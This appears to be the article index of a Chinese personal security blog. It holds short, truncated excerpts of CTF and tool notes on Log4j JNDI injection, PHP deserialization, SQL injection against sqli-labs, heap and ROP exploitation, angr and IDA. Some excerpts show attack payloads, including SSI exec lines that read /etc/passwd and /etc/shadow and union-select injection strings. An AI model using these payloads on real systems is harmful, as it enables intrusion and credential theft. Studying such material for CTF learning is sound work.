安全实践
内容包括:Web安全、密码学、流量分析、隐写术、法律法规、杂项、逆向工程、二进制漏洞挖掘与利用等
小龙在山东
本博客为个人整理的技术笔记,仅用于学习。
展开
-
网络安全等级保护等级保护对象的安全保护等级
2017年6月1号,《中华人民共和国网络安全法》出台,国家实行等级安全保护制度,也就是“等保2.0”。网络安全等级保护是指对网络(含信息系统、数据等)实施分等级保护、分等级监督,对网络中发生的安全事件分等级响应、处置。原创 2023-05-17 11:07:49 · 1789 阅读 · 0 评论 -
用于Windows或Unix-like hook进程的Python库
winappdbg:用于 Windows 调试和分析的高级 Python 库。PyDbgEng:这是一个用 Python 编写的调试工具,可以用于调试 Windows 进程。pydbg:另一个用于 Windows 调试的库,可以用于追踪某些恶意程序的行为。ptrace:可以允许你在 Unix-like 系统上 trace 进程的行为。这些库都可以用于 hook 进程,但是具体使用还需要根据你的需求进行选择。frida:可以用于动态地 hook 进程,进行调试或安全评估等操作。原创 2023-05-15 18:26:40 · 740 阅读 · 0 评论 -
PHP序列化:eval
解题思路通过传入d参数,参数是序列化后的字符串,用来调用魔术方法__destruct,然后调用evil的action,进而可以执行eval。原创 2022-07-29 23:00:00 · 240 阅读 · 0 评论 -
IDA常用快捷键使用说明
IDA常用快捷键使用说明编号快捷键功能说明01Enter跟进函数实现,查看标号对应的地址02Esc返回跟进处03A解释光标处的地址为一个字符串的首地址04B十六进制数和二进制数转换05C解释光标处的地址为一条指令06D解释光标处的地址为数据,每按一次将会转换这个地址的数据长度07G快速查找到对应地址08H十六进制数与十进制数转换09K将数据解释为栈变量10;添加注释11M解释为枚举原创 2022-03-21 16:25:59 · 1356 阅读 · 0 评论 -
Iphone越狱
https://www.i4.cn/https://unc0ver.dev/http://www.cydiaimpactor.com/https://checkra.in/原创 2022-02-08 16:23:13 · 1382 阅读 · 0 评论 -
Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)
影响范围2.0 <= Apache log4j <= 2.14.1利用import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(l原创 2021-12-10 18:24:34 · 34826 阅读 · 24 评论 -
常见扩展名文件头
常见扩展名文件头使用 php 获取 magic bytes、 Mime类型。原创 2021-11-03 10:26:13 · 739 阅读 · 0 评论 -
MySQL延时盲注:绕过逗号
MySQL延时盲注:绕过逗号原创 2021-10-24 11:38:33 · 405 阅读 · 0 评论 -
MySQL union ascii order盲注
源码<?php $dbhost = "localhost"; $dbuser = "root"; $dbpass = "123"; $db = "ctf"; $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db); mysqli_set_charset($conn,"utf8"); /* sql create table `admin` ( `id` int(10) not null prim原创 2021-10-21 17:05:20 · 215 阅读 · 0 评论 -
一句话Base64:Base64+Unescape+Hex+Unicode+RegExp+Decimal+HTML Entity+URLDecode
这道题用到了:Base64+Unescape+Hex+Unicode+Decimal+HTML Entity+URLDecode。Base64解码Unescape string十六进制从十六进制转换为Unicode:Unescape Unicode CharactersUnicode转码为10进制:十进制Replace input with output,留下String.fromCharCode()里的内容,然后十进制转换为HTML实体编码:HTML实体转换两次HTML实体解原创 2021-10-15 10:26:40 · 263 阅读 · 0 评论 -
Hash长度扩展攻击
<?phperror_reporting(0);$flag=file_get_contents('/flag');if(isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])){ $fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1); echo $_GET["md5"] === md5($fl4g);}else{原创 2021-10-14 15:43:54 · 701 阅读 · 0 评论 -
PHP反序列化+魔法函数__string+绕过扩展名
php源码<?phphighlight_file(__FILE__);class OhYouFindIt{ public $content = "Hello Hacker.<br>"; function __destruct(){ echo $this->content; }}class writeshell{ public $filename; public $content; function __toSt原创 2021-10-14 15:12:45 · 700 阅读 · 4 评论 -
Create_Flag.exe死循环读取flag+Base85 IPV6解密
死循环获取flagimport oswhile 1: if os.path.exists('flag'): with open('flag') as f: print(f.read())先跑起来,然后再运行Create_Flag.exe:得到加密的数据:GBYqTW;8QqHZoyjH92HBIb}FFGcsW@IWc20F*0Q~。解密用CyberChef工具Base85 IPV6解密:参考:https://github.com/gchq/原创 2021-10-14 14:43:11 · 455 阅读 · 0 评论 -
Fastbin 堆溢出 Use After Free
shell 地址#-*- coding: utf-8 -*-from pwn import *elf = ELF('./fastbin')sh = process('./fastbin')getshell = 0x80487c6def Add(num): sh.sendafter('choice:\n', '1') sh.sendafter('id:\n', str(num))def Del(num): sh.sendafter('choice:\n', '2') sh.se原创 2021-10-01 20:57:35 · 194 阅读 · 0 评论 -
peda、Pwngdb、pwndbg的安装及避坑指南
环境Ubuntu 16.04 LTS安装在根目录下下载:git clone https://github.com/longld/peda.gitgit clone https://github.com/scwuaptx/Pwngdb.gitgit clone https://github.com/pwndbg/pwndbg.git安装配置pwndbg:cd ~/pwndbg./setup.sh报错:ERROR: pip's dependency resolver does not原创 2021-10-01 20:08:54 · 5217 阅读 · 0 评论 -
ROP缓冲区溢出利用
32位应用32位ELF的参数直接放到栈中。先找到一个EFF程序,用IDA打开F5,发现了fgets缓冲区溢出利用点:溢出长度为:0x28 + 0x4 = 0x2C。Shift+F12查找可以利用的字符串:这俩看着能用:.rodata:08048747 00000008 C /bin/ls.data:0804A030 00000012 C /bin/cat flag.txtusefulString db '/bin/cat flag.txt',0地址0x0804A030,没有被其他函数原创 2021-09-30 18:04:50 · 396 阅读 · 0 评论 -
cyclic查看缓冲区溢出长度
read、gets等C函数对输入没有限制,如果有可以溢出的堆栈,就有缓冲区溢出漏洞。方法一:方法二:使用pwntools的cyclic:安装$ apt-get update$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential$ pip install --upgrade pip$ pip install --upgrade pwntools测试cyclic原创 2021-09-29 17:55:28 · 2766 阅读 · 0 评论 -
IDA Linux远程调试
IDA:main函数F5反编译:配置IDA远程调试监听调试服务拷贝截图文件到Kali:开启调试F2下断点:F8单步调试:双击check变量:选中第一个字符N,点击a:原创 2021-09-28 13:50:33 · 1770 阅读 · 0 评论 -
Ollydbg查看内存数据并修改
IDE:Intel CPU是小端序首先通过搜索目标字符串,双击定位到,F2下断点。原创 2021-09-28 13:37:17 · 1798 阅读 · 0 评论 -
Angr 内存符号化 05_angr_symbolic_memory
说明通过查看下面的源码或IDA汇编,可知此例需要输入4个密码,给每个密码赋值给了user_input数组这块已经开辟的内存空间,我们可以监测user_input在内存中的值来获取最终的密码。随机生成的源码#include <stdio.h>#include <stdlib.h>#include <string.h>#define USERDEF "YZJGNZSQCRTECQLVJKDHBYEFALOWJXHE"char padding0[ 5949916原创 2021-09-18 14:46:05 · 429 阅读 · 0 评论 -
Angr 操作栈的符号执行 04_angr_symbolic_stack
Angr不支持多个输入参数,而参数都存入栈中。我们可以跳过输入,直接操作栈,来遍历出想要的结果。那从哪儿开始执行呢?此例,可以从scanf输入密码结束之后,把我们的密码注入,也就是sanf的栈注销(add esp, 10h)的后面0x08048697。这里我们通过gdb来查看符号执行时,要设置的padding大小:经过complex_function0和complex_function1后,可以计算出padding大小0xffffcf28 - 0xffffcf20:# This challen原创 2021-09-17 11:31:21 · 397 阅读 · 0 评论 -
pwndbg调试搞清楚PLT和GOT
GOT是保存库函数地址的区域,程序运行时,用到的库函数地址会设置到该区域中。PLT是调用库函数时的小型代码集合,程序可以像调用自己的用户函数一样调用这些小型代码。因此,PLT中包含的小型代码基本上与用到的库函数数量相同。简单来说,这些代码知识跳转到GOT中设置的值而已。如果GOT中尚未设置调用函数的地址,就将地址设置到GOT中之后再跳转。但是,库函数地址在程序运行过程中不会改变,因此GOT的值一旦设置就不会再发生变化。因此,调用库函数时没有必要检查GOT是否被设置。glibc用巧妙的方法在调用时避免了原创 2021-09-16 17:13:37 · 1224 阅读 · 0 评论 -
C语言与64位汇编对应关系
#include <stdio.h>int global;int func_op(void) { return 0; }void func(void){ unsigned long long val64 = 0; val64 = 0xffffeeeeddddcccc; // 7 global = 0x5555; // 8}#define MAX_WORD 16int main(void){ unsigned int i = 0; char words[MAX原创 2021-09-14 10:48:41 · 249 阅读 · 0 评论 -
gcc /usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory
$ gcc -fno-stack-protector -m32 -o hello hello.cIn file included from hello.c:3:/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory 27 | #include <bits/libc-header-start.h> | ^~~~~~~~~~~~~.原创 2021-09-13 17:09:45 · 964 阅读 · 0 评论 -
Angr 02_angr_find_condition 根据输出状态条件搜索正确输入
explore的find和avoid支持函数作为参数,根据函数返回值来判断是否成功。Angr把状态传入了函数,从而判断成功与否。原创 2021-09-09 17:03:32 · 302 阅读 · 0 评论 -
Angr 01 avoid 忽略的条件
01_angr_avoid无法反编译主函数,模块比较多,加上avoid过滤条件之后,就没那么慢了。import angr原创 2021-09-08 18:56:50 · 164 阅读 · 0 评论 -
Angr 00 基本步骤
环境Kali-Linux-2021.2-vmware-amd64用IDA找到要搜索的位置通过运行ELF文件00_angr_find,有两条路径,一条是错误Try again.,一条是正确并打印Good Job.,我们要找的就是后者,用IDA找到输出的位置,然后交给Angr的模拟器去搜索(explore)输入值,也就是正确的密码。使用ipython执行代码解释import angrimport sys# 加载可执行文件路径path_to_binary = "./00_angr_find原创 2021-09-08 17:46:57 · 258 阅读 · 0 评论 -
Kali支持中文设置
$ sudo apt update 100 ⨯Get:1 http://kali.download/kali kali-rolling InRelease [30.5 kB]Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [17.8 MB]Get:3 http://kali.download/kali kali-roll原创 2021-08-28 12:53:41 · 467 阅读 · 0 评论 -
Kali设置时区
$ sudo dpkg-reconfigure tzdata[sudo] password for kali: Current default time zone: 'Asia/Shanghai'Local time is now: Sat Aug 28 12:43:30 CST 2021.Universal Time is now: Sat Aug 28 04:43:30 UTC 2021.原创 2021-08-28 12:44:04 · 1650 阅读 · 0 评论 -
objdump 二进制文件分析
objdump工具用来显示二进制文件的信息,就是以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。常用参数说明-f 显示文件头信息-D 反汇编所有section (-d反汇编特定section)-h 显示目标文件各个section的头部摘要信息-x 显示所有可用的头信息,包括符号表、重定位入口。-x 等价于 -a -f -h -r -t 同时指定。-i 显示对于 -b 或者 -m 选项可用的架构和目标格式列表。-r 显示文件的重定位入口。如果和-d或者-D一起使用,重定位部分以反原创 2021-08-26 11:32:18 · 675 阅读 · 0 评论 -
readelf ELF 文件格式分析
这个工具和objdump命令提供的功能类似,但是它显示的信息更为具体,并且它不依赖BFD库(BFD库是一个GNU项目,它的目标就是希望通过一种统一的接口来处理不同的目标文件);ELF文件类型ELF(Executable and Linking Format)是一种对象文件的格式,用于定义不同类型的对象文件(Object files)中都放了什么东西、以及都以什么样的格式去放这些东西。它自最早在 System V 系统上出现后,被 xNIX 世界所广泛接受,作为缺省的二进制文件格式来使用。可以说,ELF是原创 2021-08-26 11:06:58 · 485 阅读 · 0 评论 -
gdb 调试利器
gdb 调试利器GDB是一个由GNU开源组织发布的、UNIX/LINUX操作系统下的、基于命令行的、功能强大的程序调试工具。对于一名Linux下工作的c++程序员,gdb是必不可少的工具;启动gdb对C/C++程序的调试,需要在编译前就加上-g选项:$g++ -g hello.cpp -o hello调试可执行文件::$gdb <program>program也就是你的执行文件,一般在当前目录下。调试core文件(core是程序非法执行后core dump后产生的文件):原创 2021-08-26 10:46:08 · 208 阅读 · 0 评论 -
Socat简介
Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。Socat 的官方网站:http://www.dest-unreach.org/socat/Socat 安装通过源码转载 2021-08-25 10:54:38 · 1681 阅读 · 0 评论 -
Python unrar解压rar压缩文件
from unrar import rarfile# 源码:https://github.com/matiasb/python-unrar# 下载UnRAR.dll https://www.rarlab.com/rar_add.htm# 配置UnRAR.dll位置# 在系统变量里配置# UNRAR_LIB_PATH = C:\Program Files (x86)\UnrarDLL\x64\UnRAR64.dllfilename = '基础破解.rar'extract_path = 'D:原创 2021-08-12 22:39:31 · 592 阅读 · 0 评论 -
sqli-labs 23-35闯关
第二十三关:过滤#和–注释+单引号闭合绕过+报错注入单引号闭合绕过注入# 获取数据库id=0' union select 1,2,database()'id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata where 1='1# Your Password:information_schema,security# 获取数据库id=0' union select 1,2,group_c原创 2020-09-24 17:25:50 · 653 阅读 · 0 评论 -
sqli-labs 1-22闯关
系统函数mysql> select version();+-----------+| version() |+-----------+| 5.7.25 |+-----------+1 row in set (0.00 sec)mysql> select user();+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in原创 2020-09-21 18:18:43 · 456 阅读 · 0 评论 -
zsteg自动提取flag图片
安装在kali下安装sudo apt-get install rubygem install zsteg使用$zsteg honglvdeng.png imagedata .. file: dBase III DBT, version number 0, next free block index 65281 b1,r,lsb,xy .. file: JPEG image data, JF原创 2020-09-17 17:12:04 · 3786 阅读 · 0 评论 -
命令执行漏洞payload大全
Unix :<!--#exec%20cmd="/bin/cat%20/etc/passwd"--><!--#exec%20cmd="/bin/cat%20/etc/shadow"--><!--#exec%20cmd="/usr/bin/id;--><!--#exec%20cmd="/usr/bin原创 2020-09-15 17:27:00 · 3747 阅读 · 0 评论 -
SQL注入之堆叠注入/预处理/handler-[强网杯 2019]随便注 1
介绍所谓堆叠注入,就是把多条完整的SQL语句用分号;分隔开,而不是用union或union all连接起来。在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用原创 2020-09-15 12:41:11 · 1881 阅读 · 0 评论 -
python z3库学习
Z3 在工业应用中实际上常见于软件验证、程序分析等。然而由于功能实在强大,也被用于很多其他领域。CTF领域来说,能够用约束求解器搞定的问题常见于密码题、二进制逆向、符号执行、Fuzzing 模糊测试等。此外,著名的二进制分析框架 angr也内置了一个修改版的 Z3。原创 2020-09-13 21:42:23 · 5346 阅读 · 4 评论